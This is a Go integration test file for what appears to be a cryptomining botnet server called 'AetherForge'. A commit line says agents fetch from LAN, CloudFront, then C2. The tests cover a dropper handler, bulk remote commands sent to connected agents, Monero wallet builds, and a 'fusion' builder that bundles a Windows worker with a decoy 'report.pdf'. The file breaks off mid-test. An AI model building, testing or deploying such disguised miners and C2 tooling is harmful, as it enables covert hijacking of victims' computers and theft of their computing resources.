Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
1062 lines
34 KiB
Go
1062 lines
34 KiB
Go
package api
|
|
|
|
import (
|
|
"bytes"
|
|
"encoding/json"
|
|
"errors"
|
|
"io"
|
|
"mime/multipart"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/builder"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
"crypto-miner-server/internal/pool"
|
|
|
|
"github.com/gorilla/websocket"
|
|
)
|
|
|
|
type mockConfigProvider struct {
|
|
raw json.RawMessage
|
|
}
|
|
|
|
func (m *mockConfigProvider) GetConfigJSON() json.RawMessage {
|
|
if len(m.raw) == 0 {
|
|
return json.RawMessage(`{"port":8989}`)
|
|
}
|
|
return m.raw
|
|
}
|
|
|
|
func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
|
|
m.raw = data
|
|
return nil
|
|
}
|
|
|
|
func (m *mockConfigProvider) GetFleetAIConfig() FleetAIConfigView {
|
|
return FleetAIConfigView{
|
|
AIEndpoint: "http://127.0.0.1:11434/v1",
|
|
AINoContext: true,
|
|
AIDecisionIntervalSec: 60,
|
|
}
|
|
}
|
|
|
|
func (m *mockConfigProvider) UpdateFleetAIConfig(v FleetAIConfigView) error {
|
|
return nil
|
|
}
|
|
|
|
const testAuthUser = "testuser"
|
|
const testAuthPass = "testpass"
|
|
const testFleetSecret = "test-fleet-secret-integration"
|
|
|
|
func seedTestUsers(t *testing.T, dataDir string) {
|
|
t.Helper()
|
|
usersPath := filepath.Join(dataDir, "users.json")
|
|
data, err := json.Marshal(map[string]string{testAuthUser: testAuthPass})
|
|
if err != nil {
|
|
t.Fatalf("marshal users: %v", err)
|
|
}
|
|
if err := os.WriteFile(usersPath, data, 0600); err != nil {
|
|
t.Fatalf("write users.json: %v", err)
|
|
}
|
|
}
|
|
|
|
func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
|
t.Helper()
|
|
dataDir := t.TempDir()
|
|
seedTestUsers(t, dataDir)
|
|
|
|
database, err := db.New(dataDir)
|
|
if err != nil {
|
|
t.Fatalf("db: %v", err)
|
|
}
|
|
t.Cleanup(func() { database.Close() })
|
|
|
|
wsHub := NewWSHub(database)
|
|
cfg := &mockConfigProvider{}
|
|
configHandler := NewConfigHandler(cfg)
|
|
aiHandler := NewAIHandler(database)
|
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
|
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
|
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
|
|
|
webRoot := filepath.Join(dataDir, "webroot")
|
|
_ = os.MkdirAll(webRoot, 0755)
|
|
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
|
|
|
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
|
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
|
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
|
}
|
|
|
|
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
|
t.Helper()
|
|
var req *http.Request
|
|
if body != nil {
|
|
req = httptest.NewRequest(method, path, bytes.NewReader(body))
|
|
req.Header.Set("Content-Type", "application/json")
|
|
} else {
|
|
req = httptest.NewRequest(method, path, nil)
|
|
}
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
return rec
|
|
}
|
|
|
|
func serveAuthedMultipart(t *testing.T, router http.Handler, path string, body *bytes.Buffer, contentType string) *httptest.ResponseRecorder {
|
|
t.Helper()
|
|
req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(body.Bytes()))
|
|
req.Header.Set("Content-Type", contentType)
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
return rec
|
|
}
|
|
|
|
func integrationWorkspaceRoot(t *testing.T) string {
|
|
t.Helper()
|
|
dir, err := os.Getwd()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
for i := 0; i < 10; i++ {
|
|
if _, err := os.Stat(filepath.Join(dir, "agent", "go.mod")); err == nil {
|
|
if _, err2 := os.Stat(filepath.Join(dir, "fusion", "main.go")); err2 == nil {
|
|
return dir
|
|
}
|
|
}
|
|
parent := filepath.Dir(dir)
|
|
if parent == dir {
|
|
break
|
|
}
|
|
dir = parent
|
|
}
|
|
t.Skip("workspace root (agent/ and fusion/) not found")
|
|
return ""
|
|
}
|
|
|
|
func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub, *db.Database, string) {
|
|
t.Helper()
|
|
dataDir := t.TempDir()
|
|
seedTestUsers(t, dataDir)
|
|
|
|
database, err := db.New(dataDir)
|
|
if err != nil {
|
|
t.Fatalf("db: %v", err)
|
|
}
|
|
t.Cleanup(func() { database.Close() })
|
|
|
|
wsHub := NewWSHub(database)
|
|
cfg := &mockConfigProvider{}
|
|
configHandler := NewConfigHandler(cfg)
|
|
aiHandler := NewAIHandler(database)
|
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
|
builderHandler := builder.NewHandler(database, dataDir, filepath.Join(projectRoot, "agent"), projectRoot)
|
|
installFakeGoSuccess(t, builderHandler)
|
|
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
|
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
|
|
|
webRoot := filepath.Join(dataDir, "webroot")
|
|
_ = os.MkdirAll(webRoot, 0755)
|
|
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
|
|
|
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
|
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
|
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
|
}
|
|
|
|
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
|
|
t.Helper()
|
|
body := &bytes.Buffer{}
|
|
mw := multipart.NewWriter(body)
|
|
cfg, err := json.Marshal(builder.BuildRequest{
|
|
WorkerName: "integration-fusion",
|
|
ServerURL: "http://127.0.0.1:8989",
|
|
Wallet: "48abc",
|
|
TargetOS: "windows",
|
|
FusionEnabled: true,
|
|
FusionMediaMode: "paired",
|
|
FusionPayloadKind: "file",
|
|
FusionMediaBaseName: "report.pdf",
|
|
})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := mw.WriteField("config", string(cfg)); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
part, err := mw.CreateFormFile("prep_exe", "report.pdf")
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if _, err := part.Write([]byte("%PDF-1.4 integration")); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
contentType := mw.FormDataContentType()
|
|
if err := mw.Close(); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
return body, contentType
|
|
}
|
|
|
|
func installFakeGoSuccess(t *testing.T, h *builder.Handler) {
|
|
t.Helper()
|
|
dir := t.TempDir()
|
|
if runtime.GOOS == "windows" {
|
|
p := filepath.Join(dir, "go-ok.bat")
|
|
script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" +
|
|
":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" +
|
|
" set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" +
|
|
"shift\r\ngoto loop\r\n:done\r\n" +
|
|
"if defined OUT (\r\n" +
|
|
" for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" +
|
|
" echo fake>\"!OUT!\"\r\n" +
|
|
")\r\nexit /b 0\r\n"
|
|
if err := os.WriteFile(p, []byte(script), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
h.SetGoBinPath(p)
|
|
return
|
|
}
|
|
p := filepath.Join(dir, "go-ok.sh")
|
|
script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" +
|
|
" if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" +
|
|
"done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n"
|
|
if err := os.WriteFile(p, []byte(script), 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
h.SetGoBinPath(p)
|
|
}
|
|
|
|
// serveWithFleetSecret sends a request with the fleet secret header (for /api/v1/agent/* routes).
|
|
func serveWithFleetSecret(t *testing.T, router http.Handler, method, path, secret string, body []byte) *httptest.ResponseRecorder {
|
|
t.Helper()
|
|
var req *http.Request
|
|
if body != nil {
|
|
req = httptest.NewRequest(method, path, bytes.NewReader(body))
|
|
req.Header.Set("Content-Type", "application/json")
|
|
} else {
|
|
req = httptest.NewRequest(method, path, nil)
|
|
}
|
|
req.Header.Set("X-Fleet-Secret", secret)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
return rec
|
|
}
|
|
|
|
func insertTestBuild(t *testing.T, database *db.Database, dataDir, buildID, platform, fileName string) {
|
|
t.Helper()
|
|
buildDir := filepath.Join(dataDir, "builds", buildID)
|
|
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
binPath := filepath.Join(buildDir, fileName)
|
|
if err := os.WriteFile(binPath, []byte("fake-binary-"+platform), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := database.InsertBuild(&models.BuildRecord{
|
|
ID: buildID, WorkerName: "worker", ServerURL: "http://localhost:8989", Wallet: "48x",
|
|
FilePath: binPath, FileName: fileName, Platform: platform, CreatedAt: time.Now(),
|
|
}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
|
|
func startRouterServer(t *testing.T, router http.Handler) *httptest.Server {
|
|
t.Helper()
|
|
srv := httptest.NewServer(router)
|
|
t.Cleanup(srv.Close)
|
|
return srv
|
|
}
|
|
|
|
func connectAgentViaRouter(t *testing.T, router http.Handler, agentID string) (*websocket.Conn, *httptest.Server) {
|
|
t.Helper()
|
|
srv := startRouterServer(t, router)
|
|
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/agent"
|
|
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
|
if err != nil {
|
|
t.Fatalf("dial agent ws: %v", err)
|
|
}
|
|
t.Cleanup(func() { _ = conn.Close() })
|
|
|
|
authAgentConn(t, conn, map[string]interface{}{
|
|
"agent_id": agentID,
|
|
"hostname": "integration-host",
|
|
"version": "1.0",
|
|
})
|
|
return conn, srv
|
|
}
|
|
|
|
func TestHealthIsPublic(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("health status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var body map[string]string
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body["status"] != "ok" {
|
|
t.Fatalf("unexpected health: %v", body)
|
|
}
|
|
}
|
|
|
|
func TestConfigRequiresAuth(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusUnauthorized {
|
|
t.Fatalf("expected 401, got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestConfigWithValidAuth(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil)
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestAgentsListRequiresAuth(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusUnauthorized {
|
|
t.Fatalf("expected 401, got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestAgentsListAuthedEmpty(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d", rec.Code)
|
|
}
|
|
var agents []json.RawMessage
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &agents); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(agents) != 0 {
|
|
t.Fatalf("expected empty fleet, got %d", len(agents))
|
|
}
|
|
}
|
|
|
|
func TestArtifactDownloadRejectsTraversal(t *testing.T) {
|
|
router, _, _, dataDir := newTestRouter(t)
|
|
buildID := "test-build-id"
|
|
buildDir := filepath.Join(dataDir, "builds", buildID)
|
|
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/..%2F..%2Fsecret.txt", nil)
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound {
|
|
t.Fatalf("expected rejection, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestSPAServesIndex(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/dashboard", nil)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d", rec.Code)
|
|
}
|
|
if !contains(rec.Body.String(), "AetherForge") {
|
|
t.Fatalf("expected SPA fallback html")
|
|
}
|
|
}
|
|
|
|
func contains(s, sub string) bool {
|
|
return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexOf(s, sub) >= 0)
|
|
}
|
|
|
|
func indexOf(s, sub string) int {
|
|
for i := 0; i+len(sub) <= len(s); i++ {
|
|
if s[i:i+len(sub)] == sub {
|
|
return i
|
|
}
|
|
}
|
|
return -1
|
|
}
|
|
|
|
func TestStatsLimitCapped(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents/nope/stats?limit=999999", nil)
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
// Agent may not exist — 404 is fine; we only care handler doesn't 500 on huge limit
|
|
if rec.Code == http.StatusInternalServerError {
|
|
t.Fatalf("limit cap caused server error: %s", rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestIntegrationServerInfo(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/server/info", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var body map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if _, ok := body["port"]; !ok {
|
|
t.Fatalf("expected port in server info: %v", body)
|
|
}
|
|
}
|
|
|
|
func TestIntegrationDashboardStats(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/dashboard/stats", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestIntegrationGetAgentNotFound(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/agents/missing-agent", nil)
|
|
if rec.Code != http.StatusNotFound {
|
|
t.Fatalf("expected 404, got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestIntegrationAgentLog(t *testing.T) {
|
|
router, wsHub, _, _ := newTestRouter(t)
|
|
agentID := "log-agent"
|
|
connectTestAgent(t, wsHub, agentID)
|
|
|
|
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/agents/"+agentID+"/log", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var body map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body["agent_id"] != agentID {
|
|
t.Fatalf("unexpected agent_id: %v", body["agent_id"])
|
|
}
|
|
}
|
|
|
|
func TestIntegrationAgentCommandOffline(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/offline-agent/command",
|
|
[]byte(`{"action":"pause"}`))
|
|
// Command for a non-connected agent returns 200 with success:false (not a 4xx),
|
|
// so the caller can inspect the error without tripping HTTP error handling.
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200 for offline agent, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var body map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body["success"] != false {
|
|
t.Fatalf("expected success=false, got %v", body)
|
|
}
|
|
}
|
|
|
|
func TestIntegrationAgentMeta(t *testing.T) {
|
|
router, _, database, _ := newTestRouter(t)
|
|
agent := &models.Agent{ID: "meta-rig", Name: "rig", Status: "offline", LastSeen: time.Now()}
|
|
if err := database.UpsertAgent(agent); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
rec := serveAuthed(t, router, http.MethodPut, "/api/v1/agents/meta-rig/meta",
|
|
[]byte(`{"notes":"integration test","tags":["lab"]}`))
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestIntegrationBulkCommandPartialFailure(t *testing.T) {
|
|
router, wsHub, _, _ := newTestRouter(t)
|
|
onlineID := "bulk-online"
|
|
connectTestAgent(t, wsHub, onlineID)
|
|
|
|
payload := `{"agent_ids":["` + onlineID + `","offline-one"],"action":"pause","command":"tasklist"}`
|
|
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/bulk-command", []byte(payload))
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var body map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body["success"] != true {
|
|
t.Fatalf("expected partial success true, got %v", body)
|
|
}
|
|
if body["sent"].(float64) != 1 || body["failed"].(float64) != 1 {
|
|
t.Fatalf("sent/failed counts: %v", body)
|
|
}
|
|
}
|
|
|
|
func TestIntegrationFleetReadEndpoints(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
paths := []string{
|
|
"/api/v1/alerts",
|
|
"/api/v1/pools/status",
|
|
"/api/v1/ai/activity",
|
|
"/api/v1/earnings/estimate",
|
|
"/api/v1/shares",
|
|
"/api/v1/builds",
|
|
}
|
|
for _, path := range paths {
|
|
rec := serveAuthed(t, router, http.MethodGet, path, nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("%s status=%d body=%s", path, rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestIntegrationMarketXMR(t *testing.T) {
|
|
setMockHTTPTransport(t, roundTripFunc(func(req *http.Request) (*http.Response, error) {
|
|
if !strings.Contains(req.URL.String(), "coingecko") {
|
|
return nil, errors.New("unexpected url")
|
|
}
|
|
body := `{"monero":{"usd":165.5}}`
|
|
return &http.Response{
|
|
StatusCode: http.StatusOK,
|
|
Body: io.NopCloser(strings.NewReader(body)),
|
|
Header: http.Header{"Content-Type": []string{"application/json"}},
|
|
}, nil
|
|
}))
|
|
|
|
router, _, _, _ := newTestRouter(t)
|
|
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/market/xmr", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var body map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body["usd"].(float64) != 165.5 {
|
|
t.Fatalf("unexpected price: %v", body["usd"])
|
|
}
|
|
}
|
|
|
|
func TestIntegrationBuildsLifecycle(t *testing.T) {
|
|
router, _, database, dataDir := newTestRouter(t)
|
|
buildID := "lifecycle-build"
|
|
insertTestBuild(t, database, dataDir, buildID, "windows", "worker.exe")
|
|
|
|
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/builds", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("list status=%d", rec.Code)
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodPut, "/api/v1/builds/"+buildID+"/pin", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("pin status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builds/pin", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("unpin status=%d", rec.Code)
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builds/"+buildID, nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("delete status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestIntegrationPutConfig(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
rec := serveAuthed(t, router, http.MethodPut, "/api/v1/config", []byte(`{"port":9090}`))
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
if !strings.Contains(rec.Body.String(), "9090") {
|
|
t.Fatalf("expected updated config: %s", rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestFusionMultipartEndToEndViaRouter(t *testing.T) {
|
|
projectRoot := integrationWorkspaceRoot(t)
|
|
router, _, database, _ := newFusionTestRouter(t, projectRoot)
|
|
|
|
body, contentType := fusionMultipartBody(t)
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/build", bytes.NewReader(body.Bytes()))
|
|
req.Header.Set("Content-Type", contentType)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusUnauthorized {
|
|
t.Fatalf("unauthed multipart forge expected 401, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
body, contentType = fusionMultipartBody(t)
|
|
rec = serveAuthedMultipart(t, router, "/api/v1/builder/build", body, contentType)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("authed fusion multipart status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
var resp builder.BuildResponse
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
|
t.Fatalf("decode build response: %v body=%s", err, rec.Body.String())
|
|
}
|
|
if !resp.Success {
|
|
t.Fatalf("expected success=true, got %+v", resp)
|
|
}
|
|
if resp.BuildID == "" {
|
|
t.Fatal("expected build_id in response")
|
|
}
|
|
|
|
record, err := database.GetBuild(resp.BuildID)
|
|
if err != nil {
|
|
t.Fatalf("build not in database: %v", err)
|
|
}
|
|
if record.WorkerName != "integration-fusion" {
|
|
t.Fatalf("worker_name: got %q want integration-fusion", record.WorkerName)
|
|
}
|
|
if record.Platform != "windows" {
|
|
t.Fatalf("platform: got %q want windows", record.Platform)
|
|
}
|
|
|
|
builds, err := database.ListBuilds(10)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(builds) != 1 {
|
|
t.Fatalf("expected 1 build in DB, got %d", len(builds))
|
|
}
|
|
}
|
|
|
|
func TestIntegrationBuilderRoutes(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
|
|
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/builder/build", []byte(`{}`))
|
|
if rec.Code == http.StatusNotFound {
|
|
t.Fatal("builder/build route not registered")
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/estimate", []byte("not-multipart"))
|
|
if rec.Code == http.StatusNotFound {
|
|
t.Fatal("builder/estimate route not registered")
|
|
}
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("estimate without multipart expected 400, got %d", rec.Code)
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builder/cancel/no-such-token", nil)
|
|
if rec.Code != http.StatusNotFound {
|
|
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/path-forge", []byte(`{}`))
|
|
if rec.Code == http.StatusNotFound {
|
|
t.Fatal("builder/path-forge route not registered")
|
|
}
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("path-forge without root_path expected 400, got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestIntegrationBlueprintsCRUD(t *testing.T) {
|
|
router, _, _, dataDir := newTestRouter(t)
|
|
|
|
saveBody, _ := json.Marshal(map[string]interface{}{
|
|
"name": "integration-preset",
|
|
"data": map[string]interface{}{"threads": 2},
|
|
})
|
|
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/blueprints", saveBody)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("save status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
filePath := filepath.Join(dataDir, "blueprints", "integration-preset.json")
|
|
if _, err := os.Stat(filePath); err != nil {
|
|
t.Fatalf("blueprint file missing: %v", err)
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("list status=%d", rec.Code)
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints/integration-preset", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("get status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/blueprints?name=integration-preset", nil)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("delete status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestIntegrationBlueprintErrors(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
|
|
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/blueprints", []byte(`{"name":"","data":{}}`))
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("empty name expected 400, got %d", rec.Code)
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints/missing-preset", nil)
|
|
if rec.Code != http.StatusNotFound {
|
|
t.Fatalf("missing blueprint expected 404, got %d", rec.Code)
|
|
}
|
|
|
|
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/blueprints", nil)
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("delete without name expected 400, got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestIntegrationAIRoutes(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
|
|
// Agent routes require fleet secret (not Basic Auth).
|
|
SetAgentPathSecret(testFleetSecret)
|
|
t.Cleanup(func() { SetAgentPathSecret("") })
|
|
|
|
// decide: missing agent_id → 400.
|
|
rec := serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/decide", testFleetSecret, []byte(`{"worker_name":"x"}`))
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("decide missing agent_id expected 400, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
